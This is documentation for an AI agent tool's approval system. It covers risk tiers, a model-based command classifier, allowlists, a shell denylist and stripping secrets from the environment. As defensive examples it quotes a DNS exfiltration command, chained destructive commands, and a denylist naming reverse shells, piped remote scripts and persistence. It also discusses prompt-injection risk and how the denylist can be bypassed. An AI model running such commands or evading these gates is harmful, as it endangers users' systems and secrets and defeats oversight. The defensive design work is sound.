Tools & approval
HTTP requests and page fetches use global network.httpApproval: automatic by default for all
methods and destinations, or one-call approval outside configured URL grants. This policy is
independent of risk tiers and previous untrusted content. See HTTP approvals.
This page explains how a tool call becomes an action, and what stands between the two.
Source:
execution/tool-executor.ts ·
tools/tool-registry.ts ·
tools/register-tools.ts ·
tools/register-mcp-tools.ts ·
types/tools.ts
The lifecycle of one tool call
Operator shell escapes
Interactive terminal users can explicitly run a command with ! <command>; isShellEscape
requires the space, so !!! urgent is prose. This path runs
before the model turn and feeds the bounded result back as tagged command context. It shares
the shell executor’s working-directory resolution, sanitized environment, timeout, interruption
handling, and stdout/stderr caps. Because the operator authored the command directly, the !
path is an explicit operator action rather than a model-issued approval request, and the agent
denylist does not apply to it: that list guards what a model may run. In the terminal chat a
blocked agent command tells the model to ask the person to run it with !; on surfaces without
! (bots, jazz run, workflows) it tells the model to hand the person the exact command. Shell output is untrusted data and must be
treated as context, not as instructions. This syntax is available only in the interactive
terminal; headless and remote surfaces retain their own authorization contracts.
flowchart TD
IN(["Model emits a tool call"]) --> PARSE{"Arguments<br/>valid JSON?"}
PARSE -->|no| ERR["Return an error result,<br/>the agent can retry"]
PARSE -->|yes| SET{"Name in this run's<br/>effective tool set?"}
SET -->|no| ERR
SET -->|yes| LOOKUP["Look up in the registry:<br/>schema · risk level · timeout"]
LOOKUP --> PLAIN{"Plain tool above<br/>read-only?"}
PLAIN -->|"yes: executor raises<br/>the request itself"| POLICY
PLAIN -->|no| RUN["<b>Invoke the tool</b><br/>timeout: per-tool, else 3 min<br/>(longRunning tools: no timeout)"]
RUN --> GATED{"Result is an<br/>approval request?"}
GATED -->|no| RESULT
GATED -->|"yes, from another tool's<br/>execute half"| ERR
GATED -->|"yes, for its own<br/>execute half"| POLICY{"Auto-approved?"}
POLICY -->|"policy tier covers<br/>this risk level"| EXEC
POLICY -->|"per-tool allowlist"| EXEC
POLICY -->|"per-command allowlist"| EXEC
POLICY -->|"no, ask"| PROMPT["<b>Approval prompt</b><br/>args + preview diff"]
PROMPT -->|approve| EXEC
PROMPT -->|deny| DENIED["Return a refusal,<br/>the agent reasons around it"]
EXEC["<b>Execute the real tool</b><br/>the second half of the pair"]
EXEC --> RESULT["Format for context<br/>+ record metrics"]
RESULT --> OUT(["Result → next iteration"])
classDef gate fill:#f9a03f,stroke:#b3541e,color:#1a1a1a
classDef act fill:#4f9d9d,stroke:#2f6d6d,color:#ffffff
class SET,PLAIN,POLICY,PROMPT gate
class RUN,EXEC act
Three rules shape that gate:
- Other tools above
read-onlyare gated. An approval tool raises its request by returning one. A plain tool (manage_memory,create_pdf, a custom command tool) never gets the chance to act first:plainToolGateRiskreads its level (orresolveRiskLevel(args)when the level depends on the call) and the executor raises the request on its behalf. Approving it runs the tool itself. - No policy and
falseclear nothing.shouldAutoApprovereturns true only underread-only,low-riskandhigh-risk/true. The command classifier therefore runs only underread-onlyandlow-risk, where its verdict can change the outcome. - A request is honored only from the tool registered to make it.
isRequestBoundToToolrequires the calling tool’sapprovalExecuteToolNameto equal the request’sexecuteToolName. Anything else shaped like a request (an MCP server’s output, a fetched JSON body) becomes an error result and nothing runs. MCP results are nested undercontentorstructuredContentfor the same reason.
Which tools a run can reach
The tier gate above decides whether a call is approved. A separate, earlier question is whether the run may make it at all.
A run resolves its toolset once at the start: the agent’s own tools, plus the built-in
categories its persona admits, minus the persona and agent deny lists, minus the carve-outs
for a run that cannot persist (manage_memory) or cannot ask a human anything
(ask_user_question, ask_file_picker, ask_user_secret), narrowed by any toolAllowlist it inherited. That list
is then expanded with the names its tools also answer to: advertised aliases (glob for
find) and the hidden execute half of each gated pair (execute_execute_command), and the
denials are re-applied over what expansion added, so a deny entry cannot be undone by an
alias one step below it. The result is the run’s effective tool set.
That one set does three jobs:
- Advertisement.
eager-tier members are sent as schemas with every request;deferred-tier ones appear as a name/summary index and their schemas arrive viasearch_tools. Hidden execute halves are never advertised at all. - Execution. The executor tests every call against the set before handing the name to the registry, and returns a plain tool-error result: the same treatment as unparseable arguments: for anything outside it.
- Inheritance.
spawn_subagenthands it down as the child’stoolAllowlist, so a child can never hold a tool its parent lacks.childRunAuthoritybuilds that allowlist (empty when the parent’s set is unknown) together with the parent’s live policy getter and command and tool allowlists, which is whyspawn_subagentisread-only: spawning grants nothing new.
The second is not redundant. The registry resolves a name against every tool registered in
the process, so a narrowed advertisement only shapes what a model is likely to ask for.
Nothing stops a model from naming a tool it was never offered, and the AI SDK does not drop
such a call: it forwards it flagged invalid and lets the caller decide. Constrained
decoding at a hosted provider makes it unlikely; a local model, or any path where tool calls
are parsed out of text, makes it ordinary.
One member of the set is deliberately unreachable from a model-issued call: the hidden
execute half of a gated pair. It has to be in the set for the approval branch to run it,
and it is refused when the model writes the name itself: otherwise guessing
execute_write_file would skip the approval the pair exists to collect. Every other member
runs through whatever gate its risk level demands, and a name outside the set does not run
at all.
This is what makes toolAllowlist an authorization boundary rather than a hint, and it is
what /a2a peer serving relies on: a peer-served run auto-approves
everything, on the grounds that the tier decided reachability before the run started.
Two-phase execution
A gated tool doesn’t act when the model calls it. It returns a description of what it would do:
sequenceDiagram
autonumber
participant M as Model
participant P as write_file<br/>(propose)
participant G as Gate<br/>policy or human
participant E as write_file_execute
M->>P: write_file({path, content})
P->>P: resolve the path, read the current file,<br/>compute a diff: no mutation
P-->>G: ApprovalRequired{message, previewDiff,<br/>executeToolName, executeArgs}
alt policy covers this risk tier
G->>E: execute immediately
else needs a human
G->>G: show args + diff, wait
G->>E: execute on approval
end
E-->>M: result
Why a pair rather than a dangerous: true flag. You cannot show a useful preview
without doing the work: computing a diff means reading the target and resolving the path.
Two phases let the propose step do real work and still not mutate anything, which is what
makes “here is the exact diff, approve?” possible.
What it buys. Interactive and unattended runs go down the same path. The only difference is who answers the gate. There is no separate headless mode to drift out of sync with the interactive one.
Picker-style approvals
Most gates are yes/no. Some decisions are “which one”. analyze_media asks which
model should inspect a file, while generate_media asks which should create an artifact. A proposal may carry options alongside its
message; surfaces then render a picker (same card, rows instead of Yes/No), and the chosen
row’s id returns on the outcome as selectedOptionId, merged into the execution tool’s
args under _selectedOptionId: a key the model never writes and cannot spoof.
Two properties are load-bearing:
- A request with options is never auto-approved, under any policy including yolo.
There is nothing to approve until somebody picked a row. The pre-bound path
(
config.companions) skips approval inside the tool itself instead: binding is the consent. Bindings are keyed by companion role."<analyze|generate>:<image|audio|video>", because reading a modality and producing it are different models:analyze:imageandgenerate:imagebind independently on the same agent. - Unattended runs fail loudly when nothing is bound. Nobody to ask plus no standing
consent means a clear refusal naming what would fix it (“bind an
analyze:imagecompanion”), not a silent fallback to whichever model happens to be first.
Risk tiers
Every tool declares a level. One dial decides what runs without asking.
flowchart LR
subgraph tiers["Tool risk levels"]
direction TB
RO["<b>read-only</b><br/>read_file · grep · find · ls<br/>web_search · web_fetch<br/>manage_todos · spawn_subagent"]
LR["<b>low-risk</b><br/>manage_memory<br/>register_trigger"]
HR["<b>high-risk</b><br/>write_file · edit_file · rm<br/>mv · cp · mkdir"]
UN["<b>unknown</b><br/>execute_command"]
end
subgraph policies["--approval-policy"]
direction TB
P0["<i>unset / false</i><br/>read-only + low-risk"]
P1["read-only"]
P2["low-risk"]
P3["high-risk"]
end
P0 -.->|approves| RO
P0 -.->|approves| LR
P1 -.->|approves| RO
P2 -.->|approves| RO
P2 -.->|approves| LR
P3 -.->|approves| RO
P3 -.->|approves| LR
P3 -.->|approves| HR
P3 -.->|approves| UN
UN -.->|classified as| RO
UN -.->|classified as| LR
UN -.->|classified as| HR
classDef safe fill:#4f9d9d,stroke:#2f6d6d,color:#ffffff
classDef warn fill:#f9a03f,stroke:#b3541e,color:#1a1a1a
classDef bad fill:#c1443c,stroke:#7d2b26,color:#ffffff
classDef muted fill:#6b7280,stroke:#374151,color:#ffffff
class RO safe
class LR warn
class HR bad
class UN muted
The policy is read through a getter, not captured once, so a mid-run change takes effect immediately: that’s how Shift+Tab mode switching works in the TUI, and why a tool queued behind another can pick up a policy that changed while it waited.
Command classifier
execute_command is declared unknown because the command decides the blast radius. Jazz
asks the cheap harness model (llm.summarizerModel, else the agent’s own) whether this
particular command is read-only, low-risk, or high-risk, and the tier then applies to
the verdict as it would to any declared level. So --approval-policy read-only runs
git log unattended without also unlocking rm, and interactive safe mode (the low-risk
tier, SAFE_MODE_POLICY in chat/approval-mode.ts) skips the prompt for a listing but still
asks about a push.
The classifier is skipped when it cannot change anything: with no policy or false nothing is
approved, yolo approves either way, the command is already allowlisted, or the level was never
unknown. Under read-only and low-risk it runs, including on surfaces that cannot prompt: an unclassified command stays unknown, which
approves nowhere, so skipping it there would park a run on git status.
While it runs, the live zone shows classifying on that command (the round-trip can take a
few seconds). The verdict then lands on the settled receipt. read-only, low-risk, or
high-risk, so an auto-approved inspect-only command is visibly why it ran without a
prompt. The raw classifier prompt is not shown: it includes recent user requests, and the
token is the decision.
Fail closed: timeouts, provider errors, empty replies, and anything other than the exact
token read-only or low-risk stay high-risk. A clearly mutating command stays
high-risk regardless of context.
The deterministic floor. findDeterministicHighRisk runs first, in
resolveCommandRisk, before a policy plugin or the model is asked; the executor’s fallback
goes through resolveCommandRisk too. It lexes the command and returns high-risk without a
model call for an unterminated quote or expansion, command or process substitution, a
redirection other than discarding to /dev/null or duplicating a descriptor, or a command
word built from an expansion. A small classifier can rate these read-only
(dig $(whoami).example.com exfiltrates through DNS), so no verdict is allowed to lower them.
The floor is syntax only and holds no program names; what a program does is the classifier’s
and the policy plugin’s judgment.
What the classifier is allowed to read. The command, always. Plus the last five user requests (hard-capped at 800 characters) when the session is interactive, so an ambiguous command can be lowered only when the person at the keyboard asked for that milder action. Two exclusions are deliberate:
- Assistant turns are never included. The agent proposing the command also writes those turns, so quoting them back would let a model that has been talked into something by a web page or a tool result supply its own corroborating evidence.
- No conversation at all on a bridge or a headless run. There the “user” turns come from whoever is messaging the bot, and corroboration from a stranger is not corroboration.
- No conversation at all inside a sub-agent. A sub-agent’s “user” turn is the task its parent model wrote, so a parent that was talked into something could write the evidence for its child’s command.
Both blocks are wrapped as tagged data with < escaped, so the model is told not to follow
instructions inside them and cannot close the tag early. A wrong milder verdict is still
possible; the shell denylist is the backstop for known-destructive patterns, not for
git push.
Each classifier call is recorded as llm_usage with purpose: "classifier" (tokens in/out
and wall-clock latency) and rolled into classifierUsage on agent_run_completed. Those
numbers stay beside the agent-loop usage (they are not mixed into it) so a run shows how
much was approval gating versus the conversation. See Observability.
Implementation: command-risk.ts.
Two sharper controls
Tiers are coarse on purpose. When you need precision:
| Control | Scope | Behavior |
|---|---|---|
| Per-tool allowlist | this session | “Always approve this tool”: chosen from an approval prompt |
| Per-command allowlist | persisted | “Always approve this command”: execute_command only |
The command allowlist does not prefix-match raw strings. extractCommandApprovalKey
lexes the command with parseShellCommandLine
(shell-syntax.ts), which reads quotes,
escapes, control operators, redirections, assignments and expansions the way bash does. The
key is the binary plus the next word when that word is not a flag. isCommandCoveredByAllowlist
matches that key exactly or on a word boundary. A command with any shell hazard (control
operator, substitution, ${...}, redirection, comment, grouping, leading assignment,
unterminated quote) has no key and matches nothing:
approved: "git status"
✅ git status
✅ git status --short
❌ git statusfoo
❌ git status && rm -rf /
❌ git status $(rm x)
❌ git status > ~/.bashrc
❌ git -C status rm -rf . ← keys to "git": an option value is not a subcommand
❌ PAGER=x git status
The strongest control isn’t a policy at all: an agent whose toolset omits
execute_command cannot run shell commands regardless of tier. Not merely because the
tool is never offered: the executor refuses a call to it outright, so a model that names it
anyway gets a tool error rather than a shell. Trim the toolset in the agent config when the
blast radius matters. See Chat platforms,
and Which tools a run can reach for how that set is built.
Concurrency and timeouts
flowchart TB
BATCH(["Model requested 6 tool calls"]) --> META["Pre-fetch metadata for<br/>unique tool names<br/>(parallel, ≤10)"]
META --> FORK["Fork all 6 as fibers<br/>≤10 running concurrently"]
FORK --> JOIN{"Race"}
JOIN -->|"all complete"| RESULTS(["6 results"])
JOIN -->|"stopped<br/>(Esc, deadline, --timeout, SIGTERM)"| KILL["Interrupt every fiber<br/>SIGTERM, then SIGKILL, commands<br/>report what each call did"]
classDef act fill:#4f9d9d,stroke:#2f6d6d,color:#ffffff
class FORK act
| Setting | Value | Notes |
|---|---|---|
MAX_CONCURRENT_TOOLS | 10 | Prevents resource exhaustion when a model asks for 40 file reads |
TOOL_TIMEOUT_MS | 3 min | Default; a tool can declare its own |
longRunning tools | no timeout | e.g. ask_user_question: waiting for a human isn’t a hang |
A timeout is not a crash. It comes back as a failed result with the message, the agent sees it, and the run continues. A tool that can’t finish shouldn’t take the whole run down.
Approval prompts are queued rather than raced, and re-checked at dequeue time: a parallel tool’s “always approve” may have changed the answer while this one waited.
Stopping a batch
A batch can be stopped part-way: double-Esc, the run’s maxDurationMs deadline, --timeout,
or SIGTERM. Each is a clean stop, not a crash:
- Every tool fiber is interrupted, and the interrupt waits for it. Tool calls are daemon fibers (so Ctrl+B can detach them), and the batch interrupts each one it forked when it is itself interrupted.
- Commands get to clean up.
execute_commandand custom command tools run in their own process group. Stopping one sends SIGTERM to the group, then SIGKILL afterPROCESS_TERMINATION_GRACE_MS(3s) if it is still running, so a script that traps SIGTERM can finish writing and remove its temp files. The same applies to a tool’s own timeout and to the helper processes ofgrep,findand the git tools. Only the force path, a second Ctrl+C or SIGTERM, SIGKILLs every command group at once. - Files are never left half-written.
write_fileandedit_filewrite a sibling temp file and rename it over the target, keeping its permissions and following symlinks;cpandmvstage the result beside the destination and swap it in, replacing a directory whole. The swap is uninterruptible, so a stop lands before it (nothing changed) or after it (change complete).mvacross filesystems copies, swaps, and removes the source in that same step. - The report says exactly what ran. A
ToolBatchLedgerrecords when each call’s side effect begins (after approval, for a tool that asks first) and when it returns. Every call of the stopped batch gets a tool result in the transcript: a completed call keeps its real result, an interrupted one says it may have made part of its changes, and one that never started says it changed nothing. The response carriesstoppedToolCalls(completed,interrupted,not-startedper call),jazz run --jsonincludes it in both the success and the failure envelope, andonToolBatchStoppedtells a caller whose run was interrupted from outside.
Two shell-specific defenses
execute_command gets two protections beyond the approval gate, both in
shell.ts.
A built-in denylist
Commands are matched against a denylist before approval is asked. A rule names one specific
action whose damage reaches past the workspace or cannot be undone: privilege escalation
(sudo, su), wiping disks or the home directory (mkfs, rm -rf ~), running a downloaded
script unseen (curl … | sh), power changes (shutdown), reverse shells, persistence
(authorized_keys, crontab), sending credentials to another host, and an agent granting itself
authority (jazz goal accept). Deleting from the shell (rm, unlink, find -delete) is blocked
too, because the rm tool shows what will be deleted at approval and refuses / and ~. A blocked command returns the specific reason, so the
agent learns why rather than retrying blindly.
How code is invoked is never a rule. sh -c, python -c, and eval run, because every command
already runs as sh -c <command>: blocking a wrapper adds no protection and pushes the same code
into a temp file the denylist cannot read. Reading files is not a rule either; tool output is
redacted by value. Rules match a program where the shell runs it (after a control operator, a
wrapper such as env or xargs, or inside sh -c '…'), not where its name appears in an
argument, so git commit -m "fix mount bug" and rg 'shutdown|halt' pass.
It carries one carve-out worth knowing: tmp="$(mktemp -d)"; …; rm -rf "$tmp" passes, because
temp-dir cleanup is routine and blocking it trains users to disable the denylist. rm against a
real path, a mix of temp and real paths, or a temp path with .. in it still blocks.
This is explicitly not a sandbox. From the implementation:
Variable expansion, quote splicing, and encoded payloads route around any string matcher, and the approval gate is what governs arbitrary code.
Its purpose is catching an accident from a confused model. Approval is the real control, and
container isolation is the real boundary. The known bypasses are documented as a regression
suite in shell.security.test.ts ,
worth reading before you rely on the denylist for anything.
Environment sanitization
Shell commands do not inherit your full environment. Variables whose names have a secret word
in them (SECRET, TOKEN, PASSWORD, CREDENTIALS, APIKEY, AUTH, PASS, COOKIE, or KEY
after another word, matched as whole words by isWithheldEnvVarName in
packages/core/src/secrets/registry.ts), every variable Jazz reads a secret from
(JAZZ_PEER_TOKEN_*, JAZZ_WEBHOOK_*, JAZZ_NOTIFY_* target secrets), and everything prefixed
SSH_, are stripped before the command runs, so a command that echoes its environment cannot
exfiltrate your provider keys.
When a command genuinely needs one, an agent’s envAllowlist exempts specific names. The
allowlist can only un-hide a variable that already exists in the parent environment; it never
invents a value, and the SSH_ block applies regardless. Implementation:
env.ts.
The tool registry
Tools are registered by category at startup, except MCP:
| Category | Tools | Examples |
|---|---|---|
| File Management | 15 | read_file write_file edit_file find grep read_pdf pdf_page_count mkdir rm mv cp |
| Shell Commands | 1 | execute_command (unknown; classified before the approval decision) |
| Web Search / Web Fetch | 2 | web_search web_fetch |
| HTTP | 1 | http_request |
| Todo | 2 | manage_todos list_todos |
| Memory | 2 | view_memory manage_memory |
| Reminders | 3 | add_reminder list_reminders cancel_reminder |
| Context | 3 | context_info get_time retrieve_tool_result |
| Sub Agents | 8 | spawn_subagent map_subagents list_subagents wait_subagents steer_subagent post_to_blackboard read_blackboard summarize_context |
| User Interaction | 3 | ask_user_question ask_file_picker ask_user_secret |
| Compositions | 1 | create_composition |
| Total agent-facing | 42 | plus 7 hidden execute_* counterparts |
| Skills | 3 | find_skills load_skill load_skill_section: per agent |
| MCP | dynamic | mcp_<server>_<tool>: per agent, connected lazily |
MCP is lazy by design. Servers are child processes; connecting six of them at boot makes
jazz slow to start and hangs the CLI when one misbehaves. Instead, an agent’s MCP tools are
registered from its tool list and the server connects on first invocation. Connected servers
are tracked so they can be cleaned up when the conversation ends.
Captured process output is bounded. execute_command and find/grep each keep at
most 256 KB of stdout and 256 KB of stderr, collected as bytes so a flood cannot grow until
the timeout. Truncated execute_command streams include a marker. The grep and find
parsers keep stdout clean (so a partial last line is not treated as a path or match) and set
truncated on the tool result: without that flag a cut-short enumeration is
indistinguishable from an exhaustive one. Custom command tools use the same collector with
a 16 KB cap. They are typically small, trusted argv programs, not a general shell.
MCP argument schemas are advisory, not a gate. convertMCPSchemaToZod is lossy. $ref
is unresolved and an untyped property carries no constraint, so MCP tools forward the
model’s arguments untouched and let the server’s own schema reject bad calls. Validating
locally against the converted schema would reject or silently empty calls the server accepts.
Builtin tools, whose schemas are authored alongside their handlers, are validated normally.
Current tool list: tool inventory.
Related
- Agent loop: where the tool phase sits
- Headless: setting the policy for unattended runs
- Security: the threat model and hardening guidance
- Architecture: package boundaries and extension points